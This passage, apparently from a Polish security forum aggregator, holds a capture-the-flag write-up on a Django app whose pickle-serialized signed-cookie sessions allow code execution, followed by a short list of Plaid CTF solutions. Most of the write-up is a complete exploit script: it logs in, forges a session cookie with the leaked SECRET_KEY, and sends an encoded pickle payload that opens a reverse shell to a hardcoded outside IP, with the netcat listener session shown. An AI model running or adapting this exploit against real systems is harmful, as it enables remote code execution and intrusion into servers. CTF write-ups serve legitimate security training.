local files, but searching for flag / key yielded nothing, so we took a different road and saw that the session was serialized with pickle and cookie was signed in settings.py.-- settings.py -- SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer' SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies' -- settings.pyThe signing was done with an HMAC with a secret stored in settings.py. Let's read it and forge some cookies to get RCE (django code ripped from: https://github.com/danghvu/pwp) --- exploit --- import os, hashlib, sys, pickle import requests, subprocess from hmac import new as hmac from base64 import b64encode as b64 from lxml import etree def send_django(key, add, payload,t): def base64(s): #taken from django import base64 return base64.urlsafe_b64encode(s).strip(b'=') def salted_hmac(salt, value, secret): #taken from django key = hashlib.sha1((salt + secret).encode('utf-8')).digest() return hmac(key, msg=value, digestmod=hashlib.sha1).digest() import time import baseconv #taken from django timestamp = baseconv.base62.encode(str(int(time.time()))) data = base64(payload)+":"+timestamp mac = base64(salted_hmac('django.contrib.sessions.backends.signed_cookiessigner', data, key)) #default salt by django s = '%(payload)s:%(time)s:%(mac)s'%{'payload':base64(payload), 'time':timestamp, 'mac':mac} t.update({'sessionid':s}) return requests.get(add, cookies=t) IP = '91.228.198.97' PORT = 41412 url ='http://54.82.251.203:8000' r = requests.get(url+'/login') cook = r.cookies tok = r.cookies['csrftoken'] print tok r = requests.post(url+'/login',data={'username':'dragonfap','password':'dragonfap','csrfmiddlewaretoken':tok},cookies=cook) print r.text p = "ctypes\nFunctionType\n(cmarshal\nloads\n(cbase64\nb64decode\n(S'YwAAAAAFAAAAAwAAAEMAAABzmAAAAHQAAGQBAIMBAH0AAHQAAGQCAIMBAH0BAHQAAGQDAIMBAH0CAHwAAGoBAIMAAH0DAHwDAGoCAGQLAIMBAAF8AgBqAwB8AwBqBACDAABkBgCDAgABfAIAagMAfAMAagQAgwAAZAcAgwIAAXwCAGoDAHwDAGoEAIMAAGQIAIMCAAF8AQBqBQBkCQBkCgBnAgCDAQB9BABkAABTKAwAAABOdAYAAABzb2NrZXR0CgAAAHN1YnByb2Nlc3N0AgAAAG9zcw0AAAA5MS4yMjguMTk4Ljk3acShAABpAAAAAGkBAAAAaQIAAABzBwAAAC9iaW4vc2hzAgAAAC1pKAIAAABzDQAAADkxLjIyOC4xOTguOTdpxKEAACgGAAAAdAoAAABfX2ltcG9ydF9fUgAAAAB0BwAAAGNvbm5lY3R0BAAAAGR1cDJ0BgAAAGZpbGVub3QEAAAAY2FsbCgFAAAAdAIAAABzc3QCAAAAc3BSAgAAAHQBAAAAc3QBAAAAcCgAAAAAKAAAAABzGAAAAC9ob21lL21hay9waHVuL3BpY2tsZS5weXQDAAAAcHduBgAAAHMSAAAAAAIMAQwBDAEMAA0BFgAWABYB'\ntRtRc__builtin__\nglobals\n(tRS''\ntR(tR." SECRET_KEY = 'kgsu8jv!(bew#wm!eb3rb=7gy6=&5ew*jv)j-6-(50$f%no98-' r = send_django(SECRET_KEY,url+'/make',p,cook) print r.text --- exploit --- On listener: $ nc -l -p 41412 /bin/sh: 0: can't access tty; job control turned off $ id uid=1001(reekee) gid=1001(reekee) groups=1001(reekee) $ give_me_the_flag.exe mymeme use_exe_to_read_me.txt $ ./give_me_the_flag.exe flag: why_did_they_make_me_write_web_apps write: Success Wyświetl pełny artykuł
  25. Two weeks ago, I participated in Plaid CTF with the team, solving several interesting tasks mostly but not solely related to low-level exploitation. Below, I'm sharing the solutions to all challenges I had a chance to play with:g++ (re 200) with gynvaeltenement (pwn 100)kappa (pwn 250)curlcore (forensics 250), with valishalphow2js (web 200), with keidiiharry_potter (pwn 300), with gynvaelsass (pwn 200)Enjoy! Wyświetl pełny artykuł
×
×
  • Utwórz nowe...